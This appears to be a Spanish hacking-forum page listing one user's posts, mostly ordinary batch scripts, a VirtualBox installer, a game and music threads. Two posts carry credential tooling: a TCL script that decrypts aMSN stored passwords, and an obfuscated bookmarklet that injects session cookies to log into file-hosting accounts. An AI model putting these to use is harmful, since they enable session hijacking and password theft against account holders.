Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - Eleкtro

#856
Scripting / [TCL] Ayuda con esta novatada...
13 Septiembre 2012, 07:36 AM
Hola, tengo un pequeño script que requiere la librería "des.tcl", el problema es que es la primera vez que manejo tcl, así que pongo el archivo "des.tcl" junto al script y el intérprete, pero me salta el siguiente error:



¿Alguien tiene idea de que estoy haciendo mal?

PD: también he probado a intentar lo mismo con el paquete "tcllib-1.14.kit" ya que el des.tcl va incluido en su interior.
Gracias.

El script que intento correr:
package require des

puts "\naMSN Password Decryptor 0.1"
puts "by: bruno.borges@gmail.com"
puts "--------------------------"
if {$argc < 2} {
 puts "Invalid arguments. Please do: $argv0 <login> <encpassword> \[<remotepass>\]"
 exit 1
}

set i_login [lindex $argv 0]
set i_encpassword [lindex $argv 1]

if {$argc == 3} {
 set i_rempass [lindex $argv 2]
}

puts "Login: $i_login"
puts "Encpassword: $i_encpassword"

#Get the encrypted password
set key [string range $i_login"dummykey" 0 7]
set password "$i_encpassword"
catch {set encpass [binary format h* "$i_encpassword"]}
catch {set password [::DES::des -mode ecb -dir decrypt -key $key -- $encpass]}
puts "Password length is: [string first "\n" $password]"
set password [string range $password 0 [expr { [string first "\n" $password] -1 }]]
puts "Password is: $password"

#Get the encrypted remote password
if {$argc == 3} {
set key [string range $i_login"dummykey" 0 7]
catch {set encpass [binary format h* $i_rempass]}
catch {set remotepassword [::DES::des -mode ecb -dir decrypt -key $key -- $encpass]}
puts "Remote Password length is: [string first "\n" $remotepassword]\n"
set remotepassword [string range $remotepassword 0 [expr { [string first "\n" $remotepassword] -1 }]]
puts "Remote Password is: $remotepassword"
}
#857
Estoy buscando un software capaz de hacer esto: https://www.changedetection.com/

Hace tiempo usaba uno, Pero ya no recuerdo el nombre, Y tampoco me gustaba demasiado.

He buscado, Pero todos los programas que encuentro para este propósito son de pago como update patrol, check&get... Y además hacen un tracking de todos los cambios posibles de la página... con lo que hay que filtrar los cambios que no deseamos que se nos avise, etc... :-\

Yo solo busco una sencilla aplicación FREE que séa capaz de monitorizar la última actualización de una página (Por el momento solo quiero saber cuando se añade texto en un documento PHP), Y que me avise cuando se actualice, Que me avise con un popup en el escritorio, O por email, Por RSS no.

PD: Para Windows

Espero recomendaciones!

Saludos
#858
Este código agrega una opción al menú contextual, Al pulsar click derecho sobre un archivo de video MKV:



El script tratará de demuxear todas las pistas de Audio, Video, Y Subtiítulos del archivo MKV. Un ejemplo:




Es necesario tener instalado MKVTOOLNIX, O disponer del archivo mkvextract.exe: http://www.bunkus.org/videotools/mkvtoolnix/win32/mkvtoolnix-unicode-5.7.0.7z

* Dentro del contenedor MKV, Puede demuxear estos tipos de archivo:
AAC
AC3
ASS
AVI
AVC
H264
MP2/3/4
OGG
RA
RMVB
SSA
SRT
TTA
WAV

Más info aquí: http://www.bunkus.org/videotools/mkvtoolnix/doc/mkvextract.html

MKV Demux.reg
[HKEY_CLASSES_ROOT\SystemFileAssociations\.mkv\shell]
[HKEY_CLASSES_ROOT\SystemFileAssociations\.mkv\shell\Demuxear]
"icon"="C:\\Iconos\\Demux.ico"
"position"="bottom"

[HKEY_CLASSES_ROOT\SystemFileAssociations\.mkv\shell\Demuxear\command]
@="CMD /C @Echo OFF & PUSHD \"C:\\Program Files (x86)\\MKV Toolnix\" & Title MKV Demuxer By Elektro H@cker & Mode con cols=80 lines=8 & Call SET \"FILE=%1\" & Call SET \"FILENAME=%%FILE:*\\=%%\" & (For /L %%%x in (1,1,20) Do (Call SET \"FILENAME=%%FILENAME:*\\=%%\")) & Call Echo Demuxeando: \"%%FILENAME%%\"... & (For /L %%%n in (0,1,20) Do (For /F \"Tokens=2 delims='\" %%%a in ('mkvextract.exe tracks \"%1\" %%%n:\"%1.tmp\" ^| FIND \"'\"') Do (Call Set \"TYPE=%%%a\" & Echo \"%%%a\" | FIND \"UTF8\" >NUL && (Call Ren \"%1.tmp\" \"%%FILENAME%%_%%%n.srt\") & Echo \"%%%a\" | FIND \"SSA\" >NUL && (Call Ren \"%1.tmp\" \"%%FILENAME%%_%%%n.ssa\") & Echo \"%%%a\" | FIND \"h.264\" >NUL && (Call Ren \"%1.tmp\" \"%%FILENAME%%_%%%n.h264\") & Echo \"%%%a\" | FIND \"ASS\" >NUL && (Call Ren \"%1.tmp\" \"%%FILENAME%%_%%%n.ass\") & Echo \"%%%a\" | FIND \"VORBIS\" >NUL && (Call Ren \"%1.tmp\" \"%%FILENAME%%_%%%n.ogg\") & Echo \"%%%a\" | FIND \"A_PCM\" >NUL && (Call Ren \"%1.tmp\" \"%%FILENAME%%_%%%n.wav\") & Echo \"%%%a\" | FIND \"A_MPEG\" >NUL && (Call Ren \"%1.tmp\" \"%%FILENAME%%_%%%n.mp3\") & Echo \"%%%a\" | FIND \"A_TTA\" >NUL && (Call Ren \"%1.tmp\" \"%%FILENAME%%_%%%n.tta\") & Echo \"%%%a\" | FIND \"A_AC3\" >NUL && (Call Ren \"%1.tmp\" \"%%FILENAME%%_%%%n.ac3\") & Echo \"%%%a\" | FIND \"A_AAC\" >NUL && (Call Ren \"%1.tmp\" \"%%FILENAME%%_%%%n.aac\") & Echo \"%%%a\" | FIND \"A_REAL\" >NUL && (Call Ren \"%1.tmp\" \"%%FILENAME%%_%%%n.ra\") & Echo \"%%%a\" | FIND \"V_MS\" >NUL && (Call Ren \"%1.tmp\" \"%%FILENAME%%_%%%n.avi\") & Echo \"%%%a\" | FIND \"V_MPEG\" >NUL && (Call Ren \"%1.tmp\" \"%%FILENAME%%_%%%n.h264\") & (If defined TYPE (Call Echo Pista %%%n: \"%%TYPE%%\"))))) & Timeout /T 10 || (Exit)"


PD: Cambiar la ruta de acceso a MKVToolnix en el código de arriba en caso de necesidad:
PUSHD \"C:\\Program Files (x86)\\MKV Toolnix\


Salu2
#859
Hola amigos, Estoy usando una aplicación de terceros que soporta expresiones regulares, Y me encuentro con un pequeño problema, Espero que alguien pueda ayudarme xD

Pongamos como ejemplo esta frase: Fumar ' cagando 'Es Lo Mejor' XD

Pues necesito encontrar palabras que estén encasilladas entre dos comillas ( 'Es lo mejor' ), Y eliminar esas comillas, Dejando intactas el resto de comillas de la frase ( Fumar ' ).

Si pudiera analizar el principio y final de la palabra sería todo mucho más fácil:
\<
>\

Pero la aplicación no soporta "POSIX character classes", Así que solo puedo usar las expresiones regulares básicas, Ahí ya me han pillado :-(.

Bueno ¿A alguien cree que es posible hacerlo sin comerse la primera comilla de la frase?

Gracias
#860
Este script sirve para auto-instalar una máquina virtual en VirtualBox, Sin necesidad de abrir el programa y darle al botón de "Máquina > Agregar".

La idea del script es automatizar la tarea de instalar una máquina clonada, en otros equipos (Por ejemplo).

Instrucciones:
1º - Hacer un backup de una máquina virtual o Clonar una máquina virtual en una carpeta.
2º - Meter este script en la carpeta junto a los archivos de la máquina clonada (máquina.vbox, disco.vhd, script.bat , etc...)
3º - Ejecutar el script.

PD: Cada vez hago scripts más raros :xD

EDITO: Bug corregido
Nueva versión

Código (dos) [Seleccionar]
@Echo OFF
Title VBOX VirtualMachine Installer by Elektro H@cker v0.3
REM Testeado con la versión 4.1.18 de VirtualBox
Color 07

Echo.
Echo: VBOX VirtualMachine Installer  by Elektro H@cker
Echo: _____________________________  _________________ | MORE

:: Comprueba si existe VirtualBOX en el sistema.
REG Query "HKEY_CURRENT_USER\Software\Oracle\VirtualBox\Install" | Find /I "installed" >NUL 2>&1 || (
Echo La operaci¢n se ha cancelado porque VirtualBox no est... instalado en este PC. | MORE
Timeout /T 10 || (Pause)
Exit /B 1
)

:: Comprueba si existe el archivo de configuración de VirtualBox, De lo contrario, Crea el archivo por defecto.
If Not Exist "%USERPROFILE%\.VirtualBox\VirtualBox.xml" (
(
Echo ^<?xml version="1.0"?^>
Echo ^<!--
Echo ** DO NOT EDIT THIS FILE.
Echo ** If you make changes to this file while any VirtualBox related application
Echo ** is running, your changes will be overwritten later, without taking effect.
Echo ** Use VBoxManage or the VirtualBox Manager GUI to make changes.
Echo --^>
Echo ^<VirtualBox xmlns="http://www.innotek.de/VirtualBox-settings" version="1.12-windows"^>
Echo   ^<Global^>
Echo     ^<ExtraData^>
Echo       ^<ExtraDataItem name="GUI/DetailsPageBoxes" value="general,system,preview,display,storage,audio,network,usb,sharedFolders,description"/^>
Echo       ^<ExtraDataItem name="GUI/LastWindowPosition" value="575,245,770,550"/^>
Echo       ^<ExtraDataItem name="GUI/SplitterSizes" value="302,463"/^>
Echo       ^<ExtraDataItem name="GUI/UpdateCheckCount" value="2"/^>
Echo       ^<ExtraDataItem name="GUI/UpdateDate" value="1 d, 2012-08-17, stable, 4.1.18"/^>
Echo     ^</ExtraData^>
Echo     ^<MachineRegistry/^>
Echo     ^<MediaRegistry^>
Echo       ^<HardDisks/^>
Echo       ^<DVDImages/^>
Echo       ^<FloppyImages/^>
Echo     ^</MediaRegistry^>
Echo     ^<NetserviceRegistry^>
Echo       ^<DHCPServers^>
Echo         ^<DHCPServer networkName="HostInterfaceNetworking-VirtualBox Host-Only Ethernet Adapter" IPAddress="192.168.56.100" networkMask="255.255.255.0" lowerIP="192.168.56.101" upperIP="192.168.56.254" enabled="1"/^>
Echo       ^</DHCPServers^>
Echo     ^</NetserviceRegistry^>
Echo     ^<SystemProperties defaultMachineFolder="C:\Users\Administrador\VirtualBox VMs" defaultHardDiskFormat="VDI" VRDEAuthLibrary="VBoxAuth" webServiceAuthLibrary="VBoxAuth" LogHistoryCount="3"/^>
Echo     ^<USBDeviceFilters/^>
Echo   ^</Global^>
Echo ^</VirtualBox^>
) > "%USERPROFILE%\.VirtualBox\VirtualBox.xml"
)

:: Elimina el archivo temporal (Si existiera).
Del /Q "%userprofile%\.VirtualBox\virtualbox.xml.tmp" 2>NUL

For /R %%@ in (*.vbox) DO (

:: Obtiene el nombre de la máquina virtual.
Set "Name=%%~n@"
Call Echo M...quina virtual encontrada: "%%NAME%%" | MORE

:: Obtiene el Machine UUID de la máquina virtual.
For /F "Tokens=2 Delims={}" %%A in ('Type "%%@" ^| Find /I "Machine uuid"') Do (Set "Machine_UUID={%%A}")

:: Obtiene el HardDisk UUID de la máquina virtual.
For /F "Tokens=2 Delims={}" %%A in ('Type "%%@" ^| Find /I "HardDisk uuid"') Do (Set "HardDisk_UUID={%%A}")

:: Obtiene el formato del disco duro virtual.
For /F "Tokens=4 Delims==" %%A in ('Type "%%@" ^| Find /I "HardDisk uuid="') Do (Set "DISK=%%A"))
Set "DISK=%DISK:~1,3%"
)

:: Obtiene el directorio por defecto de las máquinas virtuales de VBOX.
For /F tokens^=2^ delims^=^" %%A in ('Type ^"%USERPROFILE%\.VirtualBox\VirtualBox.xml^" ^| Find /I ^"defaultMachineFolder^"') Do (Set "FOLDER=%%A") & REM "

:: Comprueba si esta máquina ya está instalada.

Type "%userprofile%\.VirtualBox\virtualbox.xml" | find "%Machine_UUID%" >NUL 2>&1
IF NOT %ERRORLEVEL% EQU 0 (Goto :COPY)

Echo La m...quina virtual "%NAME%" ya existe. | MORE
Choice /M "¨Desea reemplazar la m...quina virtual?"
If "%ERRORLEVEL%" EQU "1" (Set "Replace=SI") ELSE (
Echo La operaci¢n se ha cancelado.
Timeout /T 5 || (Pause)
Exit
)

:: Copia la máquina virtual al directorio de destino.
:COPY
Echo Copiando los archivos de la m...quina virtual "%NAME%"... | MORE
MKDIR "%FOLDER%\%NAME%\" 2>NUL
For /R %%@ in (*.vbox*) DO (Echo Copiando %%~nx@ & copy "%%@" "%FOLDER%\%NAME%\" >NUL)
For /R %%@ in (*.%DISK%) DO (Echo Copiando %%~nx@ | MORE & copy "%%@" "%FOLDER%\%NAME%\" >NUL)
If defined REPLACE (GOTO :FIN)

:: Comprueba si esta será la primera máquina virtual que instalaremos, O ya existen más máquinas virtuales instaladas en VirtualBox.
type "%userprofile%\.VirtualBox\virtualbox.xml" | find "<MachineRegistry>" >NUL 2>&1 && (
Set "FirstMachine=NO"
For /F "tokens=1 delims=:" %%X in ('type "%userprofile%\.VirtualBox\virtualbox.xml" ^| findstr /N "<MachineRegistry>"')  Do (Set Line=%%X)
) || (
Set "FirstMachine=YES"
For /F "tokens=1 delims=:" %%X in ('type "%userprofile%\.VirtualBox\virtualbox.xml" ^| findstr /N "<MachineRegistry/>"') Do (Set Line=%%X)
Set /A Line-=1
)
Set /A LastLine=LINE+1

:: Modifica el archivo de configuración de VirtualBox agregando las lineas necesarias.
For /F "tokens=*" %%# in ('type "%userprofile%\.VirtualBox\virtualbox.xml"') Do (
Echo %%# >> "%userprofile%\.VirtualBox\virtualbox.xml.tmp"
Call :Next
)

:Next
Set /A Next+=1
IF "%NEXT%" EQU "%LINE%" (
IF "%FirstMachine%" EQU "NO" (
Echo ^<MachineEntry uuid="%Machine_UUID%" src="%FOLDER%\%NAME%\%NAME%.vbox"/^> >> "%userprofile%\.VirtualBox\virtualbox.xml.tmp"
Type "%userprofile%\.VirtualBox\virtualbox.xml" | MORE +%LINE% >> "%userprofile%\.VirtualBox\virtualbox.xml.tmp"
) ELSE (
Echo ^<MachineRegistry^> >> "%userprofile%\.VirtualBox\virtualbox.xml.tmp"
Echo ^<MachineEntry uuid="%Machine_UUID%" src="%FOLDER%\%NAME%\%NAME%.vbox"/^> >> "%userprofile%\.VirtualBox\virtualbox.xml.tmp"
Echo ^</MachineRegistry^> >> "%userprofile%\.VirtualBox\virtualbox.xml.tmp"
Type "%userprofile%\.VirtualBox\virtualbox.xml" | MORE +%LASTLINE% >> "%userprofile%\.VirtualBox\virtualbox.xml.tmp"
)
Move /Y "%userprofile%\.VirtualBox\virtualbox.xml.tmp" "%userprofile%\.VirtualBox\virtualbox.xml" >NUL
Goto :FIN
)
Goto :EOF

:FIN
Echo La m...quina virtual "%NAME%" se ha instalado satisfact¢riamente.
Timeout /T 5 || (Pause)
Exit
#861
Foro Libre / ¿Que me pasa con ORON.com?
9 Agosto 2012, 12:53 PM
Hola, No se si es cosa mía o han cerrado la página de www.oron.com... ¿Alguien me lo puede confirmar? Quizás solamente me han baneado la conexión (Ahora no puedo probar un proxy), Por eso pregunto...

Saludos y gracias
#862
Lo sé, No es gran cosa, Solo lo hice por aburrimiento!

Saludos.




   

Código (dos) [Seleccionar]
@Echo OFF
Title Piedra, Papel, O tijera!  (By Elektro H@cker)
Color 0F
Mode con cols=60 lines=26

:Play
CLS
Set WIN=
Echo.
Echo:              Player      [MARCADOR]      COM
Echo:                %POINTS%                          %COMPOINTS%
Echo: __________________________________________________________
Echo:                                                                            | MORE
Echo:       [1] O              [2] #              [3] 8^^^<                      | MORE
Echo:       Piedra             Papel              Tijera    | MORE | MORE | MORE | MORE

Choice /C 123 /M "¨Que llevas en la mano? "

Set Player=%ERRORLEVEL%
Set COMPlayer=%RANDOM:~0,1%
If %COMPlayer% GTR 3 (Set /A COMPlayer=3)

CLS
IF %PLAYER% EQU 1    (Set PlayerHAND=una piedra)
IF %PLAYER% EQU 2    (Set PlayerHAND=un papel)
IF %PLAYER% EQU 3    (Set PlayerHAND=una tijera)
Echo+ & Echo: Sacaste %PlayerHAND%! | MORE
Call :ANI%PLAYER%

IF %COMPLAYER% EQU 1 (Set COMHAND=una piedra)
IF %COMPLAYER% EQU 2 (Set COMHAND=un papel)
IF %COMPLAYER% EQU 3 (Set COMHAND=una tijera)
Echo: La consola sac¢ %COMHAND%! | MORE
Call :ANI%COMPLAYER%

IF DEFINED WIN (
IF "%WIN%" EQU "SI" (Echo: GANASTE!  & Set /A Points+=1)
IF "%WIN%" EQU "NO" (Echo: PERDISTE! & Set /A COMPOINTS+=1)
) ELSE (Echo: EMPATE!)

Timeout /T 3 2>NUL || (Pause)
Goto :Play


:ANI1
Echo:         ________________
Echo:      .='==============;:\
Echo:      ^|                ^|:^|
Echo:      ^|                ^|:^|
Echo:      ^|                ^|;^|
Echo:      ^|                ^|;/
Echo:      '================'` | MORE
If %PLAYER% EQU 2 (Set Win=SI)
If %PLAYER% EQU 3 (Set Win=NO)
Goto :EOF

:ANI2
Echo:            _________
Echo:          /-        -/
Echo:         /~~======~~/
Echo:        /          /
Echo:       (          (
Echo:        `==========` | MORE
If %PLAYER% EQU 1 (Set Win=NO)
If %PLAYER% EQU 3 (Set Win=SI)
Goto :EOF

:ANI3
Echo:        ___               __
Echo:       / _ \          _.-'_.'
Echo:       \____`-.____.-'_.-'
Echo:            `-. _.\.-'
Echo:        ____.-'`__/-._
Echo:       / _  .-'`  '-._`-._
Echo:       \___/          '-._'-.
Echo:                          `-` | MORE
If %PLAYER% EQU 1 (Set Win=SI)
If %PLAYER% EQU 2 (Set Win=NO)
Goto :EOF
#863
Hola, Empiezo este apartado (Con esperanzas de éxito xD) para que entre todos hablemos de lo que más nos gusta, El Rock!, Y compartamos lo que nos apetezca sobre este tema para pasar el rato o simplemente divertirnos...

Se acepta todo estilo de música Rock y derivados, Desde lo más satánico hasta lo más sensible!.

PD: No apto para fans de Justin Bieber  >:D




Bueno, Yo voy a empezar subiendo unos videoclips de unas cantantes que están pa comerselas y repetir de postre :laugh:, Subiré estilos variados, Y si esto va bien seguiré compartiendo más videos aquí a menudo.

Por cierto, Mi grupo favorito es Lacuna Coil, ¿Y EL TUYO?  :D

Saludos!





[youtube=425,350]http://www.youtube.com/watch?v=2Thg0JQxtqk&hd=1[/youtube]  [youtube=425,350]http://www.youtube.com/watch?v=eTlfGImDDtI&feature=share[/youtube]

[youtube=425,350]http://www.youtube.com/watch?v=gxQzZMRcC0U&feature=share[/youtube]

[youtube=425,350]http://www.youtube.com/watch?v=opA_0z-K92g&feature=share[/youtube]  [youtube=425,350]http://www.youtube.com/watch?v=2LR8zyBTIE4&feature=share[/youtube]

[youtube=425,350]http://www.youtube.com/watch?v=Nkbw77A9dl8&feature=share[/youtube]  [youtube=425,350]http://www.youtube.com/watch?v=xOUtQuS9YBg&feature=share[/youtube]

[youtube=425,350]http://www.youtube.com/watch?v=CgRv0PnbKDg&feature=share[/youtube]  [youtube=425,350]http://www.youtube.com/watch?v=mYxXvTpjwDw&feature=share[/youtube]

[youtube=425,350]http://www.youtube.com/watch?v=FziMFrvyHU0&feature=share[/youtube]  [youtube=425,350]http://www.youtube.com/watch?v=ZkVzUuRI2cQ&feature=share[/youtube]

[youtube=425,350]http://www.youtube.com/watch?v=2XJBxqI3Bss&feature=share[/youtube]  [youtube=425,350]http://www.youtube.com/watch?v=Hzjht0MIyBY&feature=share[/youtube]

[youtube=425,350]http://www.youtube.com/watch?v=dc6lhFWhofA&feature=share[/youtube]  [youtube=425,350]http://www.youtube.com/watch?v=Z_gh3Svsiis&feature=share[/youtube]

[youtube=425,350]http://www.youtube.com/watch?v=7N4ARiSswQo&feature=share[/youtube]  [youtube=425,350]http://www.youtube.com/watch?v=a2JHp-4xOvE&feature=share[/youtube]

[youtube=425,350]http://www.youtube.com/watch?v=wX1wPLjPhlc&feature=share[/youtube]  [youtube=425,350]http://www.youtube.com/watch?v=mH_z5vAkf2c&feature=share[/youtube]


Y Esto, Es un temazo.
[youtube=425,350]http://www.youtube.com/watch?v=_UwWYtLWEZg&feature=share[/youtube]










#864
Hola, Estoy buscando canales en Youtube que cumplan estos requisitos:

Tipo de canal:  Canal de música (Solamente videoclips oficiales de música + lives o videos acústicos)
Tipo de música:  Rock alternativo y/o Hard-Rock y/o Gothic-Rock
Sexo de artistas:  Solamente videos de cantantes femeninas (A ser posible)
Calidad de los videos:  Videos solamente en HD (720p,1080p,4k) Basura no, Porfavor.
Antiguedad de los videos:  Videos nuevos o antiguos, No me importa.

Si alguien conoce algún canal similar, Podría decirmelo y me haría un gran favor, Soy un amante de este tipo de música y me gusta bajarme videoclips frescos ::)

Y si tú estás buscando un canal parecido, Sin duda te recomiendo "BlankTV", De momento es mi canal favorito, Suelen subir muchisimas novedades de Rock alternativo y Rock.

Por citar algunos artistas del estilo de música que busco en los canales para que lo entendais mejor, Aquí os digo unos cuantos (Grupos antiguos como más nuevos):
Aloha from hell
Anavae
Atrium
Avril Lavigne
Call atlantis
Crystalyne
Evanescence
Evarane
Fireflight
Flyleaf
Fools For Rowan
Helalyn Flowers
Icon for hire
Indica
Lacuna coil
LeCarla
Next Stop Atlanta
Paramore
The Material
UNSIN (UNSUN)


Bueno, Comenten lo que quieran xD

Un saludo!
#865
Hola,

Hace unos dias estaba buscando un código actualizado ya que el mio era incompatible con www.extabit.com, Bien, Pues he encontrado el código más currado del mundo, la verdad, jeje, Así que incluso he decidido compartirlo.

100% testeado con oron, extabit, depositfiles, uploaded.to, y rapidshare.




Paso 1 :
Crear un nuevo marcador en nuestro navegador, Y agregar el siguiente código en la dirección:

coder143 JS 2.2
javascript:eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return%20d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new%20RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return%20p}('h={\'24\':[\'23\',\'\',\'.\'],\'22\':[\'25\',\'.\',\'\'],\'26\':[\'A\',\'\',\'.\'],\'29\':[\'28\',\'.\',\'\'],\'11\':[\'|27|21\',\'.\',\'15-33-5\'],\'1p-W\':[\'1p\',\'.\',\'\'],\'20\':[\'1U\',\'.\',\'\'],\'1T\':[\'7\',\'.\',\'\'],\'1S\':[\'D|-x-A\',\'.\',\'-x-5\'],\'1V\':[\'|H|7\',\'.\',\'\'],\'1W\':[\'|1Z|1Y|1X\',\'.\',\'\'],\'2a\':[\'7\',\'.\',\'\'],\'2b\':[\'H|30--A\',\'\',\'.\'],\'1R\':[\'G\',\'.\',\'\'],\'2o\':[\'7\',\'.\',\'\'],\'2n-W\':[\'A\',\'\',\'.X.\'],\'2m\':[\'|2p|2q\',\'.\',\'\'],\'2s\':[\'|2r|2l|2k\',\'.\',\'\'],\'2e\':[\'2d\',\'.\',\'-37-5|2c--5\'],\'2f\':[\'7\',\'.\',\'\'],\'2g\':[\'|H|7\',\'.\',\'\'],\'2j\':[\'G\',\'.\',\'\'],\'2i\':[\'2h\',\'.\',\'\'],\'2t\':[\'1Q\',\'.\',\'\'],\'1w\':[\'7\',\'.\',\'\'],\'1v-W\':[\'G\',\'.\',\'\'],\'1B\':[\'7\',\'.\',\'\'],\'1D\':[\'1C|x--1z\',\'.\',\'\'],\'1y-1M\':[\'1N\',\'.\',\'\'],\'1E\':[\'G\',\'.\',\'\'],\'1O\':[\'1P\',\'\',\'.\'],\'1L\':[\'H|-x-A\',\'.\',\'-x-5\'],\'1J\':[\'1K\',\'.\',\'\'],\'1A\':[\'D\',\'.\',\'-x-5\'],\'1G\':[\'7\',\'.\',\'\'],\'1x\':[\'.1F\',\'\',\'.X.\']};5=1h.1H;1e%20V(l,d){6(d==""){w%20d}6(5.1I(/\\.11\\.|^11\\./Q)>=0&&l<35){w"A"}6(d[0]==\'|\'){w%20d.2I(1)}v="";f=d.C(\'|\');y(i=0;i<f.u;i++){s=f[i].C(\'-\');6(s.u==1){v=s;12}m=1o(s[0]);M=1o(s[1]);p=R;p=m==0?P:(l>m)?P:R;p=p&&(M==0?P:(l<M)?P:R);6(p){v=s[2]}}w%2039(v)}1e%2013(E){z=N.D.C(";");y(j=0;j<z.u;j++){6(z[j].1i(0,z[j].1s("=")).36(/^\\s+|\\s+$/g,"")==E){w%2019(z[j].1i(z[j].1s("=")+1))}}w""}9="";y(k%2016%20h){6((I%201a("\\\\."+k+"\\\\.|^"+k+"\\\\.","i")).1c(5)){9=k;1j}}U=\'c\'+\'o\'+\'d\'+\'e\'+\'r\'+\'1\'+\'4\'+\'3\';Z="\\n%20\\2u%2032%2034%20"+U+"\'s%201f%20Y%202.2!\\n%20\\3b%20\'X."+U+".3a\'%20S%203e%203f%203c%20Y.\\n%20\\n";T="\\3d%2038%201g%202Z%202E%202D%202F."+Z;6(9==""){O("\'"+5+"\'%202G%2031%202H%202C%202B%201f%20Y."+Z);1b()}J=2w("2v%201k%201d%20y%20\'"+5+"\'%20:-","");6(J==""){O("2x%202y%20a%201d%20S%2012.%202A%202z...");1b()}F=J.u;E=V(F,h[9][0]);q=V(F,h[9][1]);8=V(F,h[9][2]);q=q=="."?(q+9+5.18(/\\.[^\\.]+$/Q)[0]):q;8=8=="."?(8+9+5.18(/\\.[^\\.]+$/Q)[0]):(I%201a("^2J$","i")).1c(8)?5:8;10=8==""?(";2K="+q):(";2U="+8);L=I%201t();L.1m(L.1l()-1);K=I%201t();K.1m(K.1l()+1);b=E.C(\'|\');B=J.C(\'|,|\');y(i=0;i<b.u;i++){1q(N.D=b[i]+"="+B[i]+10+";1u=/;"+"17="+L);1q(N.D=b[i]+"="+B[i]+10+";1u=/;"+"17="+K)}14=1;y(i=0;i<b.u;i++){6(13(b[i])==B[i]||13(b[i])==19(B[i])){12}14=0;1j}6(14==1){O("1n%202T%202V%201r%202W."+T)}2Y{O("1n%202X%201r,%202S%202R%20S%202M%202L%202N%202O%202Q\'t%202P%2016%201k%20N."+T)}1h.1g();',62,202,'|||||hn|if|xfss|hN|sN||cNs|||||||||||||||dN||||length||return|70|for|dC|PHPSESSID|cVs|split|cookie|cN|cL|auth|login|new|cV|xD|dD||document|alert|true|gi|false|to|efT|mS||debrid|www|version|fT|dh|extabit|continue|gC|ok||in|expires|match|unescape|RegExp|NF|test|COOKIE|function|javascript|reload|location|substr|break|the|getDate|setDate|Cookie|Number|fast|void|loaded|indexOf|Date|path|real|rarefile|zevera|share|ssal|uploadstation|ryushare|SID|sendspace|sockshare|ASPNETAUTH|uptobox|hostname|search|uploading|remembered_user|uploaded|online|sosid|turbobit|kohanasession|enc|hotfile|filejungle|filehost|ff_membership|filemac|filesmonster|yab_passhash|yab_uid|yab_logined|filefactory|auth_hash|bayfiles|uid|alldebrid|SESSID|bitshare|auth_uid|autologin|depositfiles|filevelocity|freakshare|45|cookie_user|netload|ok2upload|oron|user__|rapidgator|putlocker|myms|orgrfr|megashare|mega|jumbofiles|username|password|uloader|megashares|rapidshare|nYou|Enter|prompt|Please|enter|again|Try|this|by|press|you|OK|is|supported|slice|HN|domain|unknown|some|error|it|detected|wasn|due|but|has|host|been|successfully|was|else|after||not|are||using||replace||will|String|com|nVisit|updated|nPage|get|an'.split('|'),0,{}))


Paso 2 :
Abrir la web deseada, por ejemplo www.rapidshare.com, Y esperar a que se cargue.


Paso 3 :
Clickar en el marcador que crearon, Aparecerá una ventana, Introducir la cookie en esa ventana.
PD: Saldrá un mensaje diciendo si la cookie es válida o no.

      
Paso 4 :
Después de loguearse con una cookie, NUNCA desloguearse.
Desloguearse provoca que la cookie expire, y la dejará inutilizable.
PD: Pueden re-loguearse con una cookie distinta en un sitio donde ya estén usando una cookie, Pero siempre sin darle al botón de "LOG OUT".

EDITO:
La lista de hosts compatibles con el code:


Citaralldebrid.com
    bayfiles.com
    bitshare.com
    depositfiles.com
    extabit.com
    fast-debrid.com
    filefactory.com
    filehost.ws
    filejungle.com
    filemac.com
    filesmonster.com
    filevelocity.com
    freakshare.com
    hotfile.com
    jumbofiles.com
    mega-debrid.com
    megashare.com
    megashares.com
    netload.in
    ok2upload.com
    oron.com
    putlocker.com
    rapidgator.net
    rapidshare.com
    rarefile.net
    real-debrid.com
    ryushare.com
    sendspace.com
    share-online.biz
    sockshare.com
    turbobit.com
    uploaded.to
    uploading.com
    uploadstation.com
    uptobox.com
    zevera.com

Espero que a alguien le sirva
Saludos.

#866
Hola,

Estoy buscando algún software para recuperar archivos que tenga integrado previsualización de archivos (imagenes y documentos), Para ver la imagen antes de recuperarla, O ver el contenido del texto que podemos recuperar antes de intentar recuperarlor...

Alguno parecido a este (Get data recover my files):


¿Conocen alguno más?

Gracias.
#867
Bueno pues eso, Para los que prefieran obtener solamente los resultados HD de youtube, usen este script:

PD: Colocarlo en "C:\Program Files\Mozilla Firefox\searchplugins\"



Código (xml) [Seleccionar]
<SearchPlugin xmlns="http://www.mozilla.org/2006/browser/search/" xmlns:os="http://a9.com/-/spec/opensearch/1.1/">
<os:ShortName>YouTube (HD)</os:ShortName>
<os:Description>Busca Videos en HighDefinition</os:Description>
<os:InputEncoding>UTF-8</os:InputEncoding>
